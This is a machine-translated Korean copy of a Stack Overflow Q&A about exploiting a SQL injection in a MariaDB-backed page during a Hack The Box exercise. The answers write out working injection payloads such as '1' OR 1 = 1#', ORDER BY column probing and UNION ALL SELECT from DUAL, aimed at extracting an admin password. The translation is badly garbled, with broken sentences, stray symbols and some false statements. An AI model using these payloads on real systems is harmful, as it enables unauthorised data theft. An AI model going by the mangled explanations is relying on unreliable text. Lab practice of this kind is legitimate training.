MariaDb SQL 주입
SQLi 취약성이 있는 MariaDb 데이터베이스를 합법적으로 이용하려고 합니다.
여기서 취약점을 확인했는데...
/?o=1&page=app
o=*
취약하며 다음 오류가 발생합니다.
DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '5' or dest like '1'') LIMIT 10' at line 1
저는 Burp Suite를 사용하고 있으며, 마크에 가까운 것 같지만 여전히 구문 오류가 발생하고 있습니다.
는 제가 '에 더 생각합니다.'5' or dest like '1'') LIMIT 10'
.
라고 생각한다.1
사실대로 말하다
알수는 admin password i admin password는 admin password 입니다.uid 1
.
이 쿼리에서 부족한 점은 무엇입니까?
SELECT Password FROM mysql.user WHERE (uid = '1' or dest like '%')-- ') LIMIT 10
편집: 이것은 Hack The Box에서 수행되고 있기 때문에 불쾌한 불법적인 일은 일어나지 않습니다.
편집: 이것은 Hack The Box에서 수행되고 있기 때문에 불쾌한 불법적인 일은 일어나지 않습니다.
그래, 그럼 재밌게 놀자.
에러 메시지를 보면
정보:구문에 에서 "에 가까운 또는 "5"와 같은 수신처에 하십시오.SQL "5"는 "DB Maria"와 .
'1'') LIMIT 10'
는 이 와이즈와 할 수 .@o
MySQL을 사용하다
SELECT
*
FROM
DUMMY_TABLE
WHERE
DUMMY_TABLE.o = '",@o,"'
LIMIT 10
SQL 바이올린 공간을 사용하여 SQL 주입 테스트를 시뮬레이트하고 다른 테이블에 더 많이 액세스할 수 있도록 합니다.
해 볼 수 .1' OR 1 = 1#
★★★★★★★★★★★★★★★★★」1' OR 1 = 1--
다 효과가 , 를 내야 합니다.1
이것은 이 다른 때문에 한 버전의 「MariaDB Automatic」을 사용할 .1' OR '1' = '1#
어떤 것이 생성될까요?
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10
또는
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10
응용 프로그램을 사용할 수 .ORDER BY 1
선택한 열의 수를 확인하고 오류가 발생할 때까지 숫자를 늘립니다.
오류: ER_BAD_필드_ERROR: 'order 절'의 알 수 없는 열 '2'
주입하다
1' ORDER BY 1#
★★★★★★★★★★★★★★★★★」1' ORDER BY 1--
즉, 결과 집합의 첫 번째 열에 정렬이 아니라1
문자 그대로의
생성하다
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10
또는
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10
을 알면 할 수 .UNION
사용하다NULL
든든모면면면면 면
주입
1' UNION ALL SELECT NULL FROM DUAL#
:DUAL
는 MariaDB, MySQL 및 Oracle에 존재하지 않는 "가상" 테이블입니다.이 "테이블"을 쿼리할 수 있다면 기술적으로 다른 테이블로 이동할 수도 있습니다.
생성된 SQL
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10
웹 가 하나의 가 항상 되는 "되어 있는 "상세" 페이지를 .LIMIT 1, 1
주사할 때요
웹 응용 프로그램에 오류가 표시되지 않으면 블라인드 SQL 주입을 사용하여 geuss를 맹목적으로 강제하고 응용 프로그램의 작동 방식을 확인할 수 있습니다.
, 음 also, 음, 음, 음, 음, 다, 다, 다, 다, also, also, also, also, also, also.?o=0
,?o=NULL
최대 값(Signed 매우 합니다.?o=2147483647
또는 (지정 해제)?o=4294967295
응용 프로그램에서 찾을 수 없는 레코드를 어떻게 처리하는지 알 수 있도록 사용된 열 번호를 강제 적용하려고 시도하기 전에 미리 확인하십시오. 가능성이 높기 때문입니다.0
그 는 or or or or 、 or 、 or 、 or 、 or 、 or or 、INT
입니다.datatype: "데이터타입"은 "데이터타입"입니다. 이 가 있는 는, 「」의합니다.BIGINT
대신 데이터를 입력합니다.
한 결과 ID '1'입니다.o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
오류가 발생하지만 대부분 오류 페이지 또는 레코드를 찾을 수 없다는 메시지가 표시될 수 있습니다.
HTTP 404(Not Found)입니다.
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
「 」를 사용했을 .LIMIT
하지 않고ORDER BY
SQL 표준에서는 SQL 테이블/결과셋을 사용하지 않으면 순서가 없다고 정의되어 있기 때문에 동일한 레코드를 얻을 가능성이 있습니다.ORDER BY
으로는 계속 .ORDER BY 1
짐승 같은 놈으로.
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#
그리고.
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#
는 ""를 합니다.ORDER BY 1
MSSQL)및에서 .SQL, MariaDB, SQL Server(MSSQL) Postgre를 사용합니다.SQL.
한 also도.ORDER BY 1
99에서 입니다.
실제로 는 SQL을 실행하지 합니다.ORDER BY 1
이 점에 대해 SQL 표준을 준수하는지 여부를 확인합니다.
SQL 92 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
| <unsigned integer> # <- here it is
<ordering specification> ::= ASC | DESC
vs SQL 1999 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
# <- missing
<ordering specification> ::= ASC | DESC
일부 관찰:
mysql.user
.uid
★★★★★★★★★★★★★★★★★」dest
SQL 주입 취약성을 이용하려면 동적으로 구성되는 SQL 문의 컨텍스트 내에서 작업해야 합니다.
응용 프로그램 SQL 문이 다음 형식인 경우:
SELECT somecol FROM sometable WHERE keycol = 'x' ORDER BY foo LIMIT 1
그 입니다.x
sql SQL の 에포되되어있 。SQL 'x'입니다.하지만 우리는 앞의 진술에서 "탈옥"하지 않습니다.
것을 FROM
표에서 , 할 수 .
SELECT somecol FROM sometable WHERE keycol = 'foo' AND 1=0
UNION ALL
SELECT expr FROM anothertable ORDER BY expr LIMIT 1 -- '
여러 개의 스테이트먼트를 실행할 수 있는 다중 스테이트먼트의 취약성이 있을 수 있습니다.
그러나 이 취약성을 이용하는 방법을 알아내는 데 많은 시간을 할애할 필요는 없습니다.취약성을 해소하기 위해서는 애플리케이션을 수정하는 데 시간과 노력을 들여야 합니다.
언급URL : https://stackoverflow.com/questions/54809948/mariadb-sql-injection
'source' 카테고리의 다른 글
값을 한 필드에서 두 필드로 분할 (1) | 2022.09.25 |
---|---|
AWS RDS 연결 중단됨 Haproxy (0) | 2022.09.25 |
2개의 NULL 포인터를 감산하는 동작이 정의되어 있습니까? (1) | 2022.09.25 |
OkHttp의 response.body.toString()이 문자열을 반환하도록 가져올 수 없습니다. (1) | 2022.09.25 |
Java ThreadLocal 변수가 정적이어야 하는 이유 (1) | 2022.09.25 |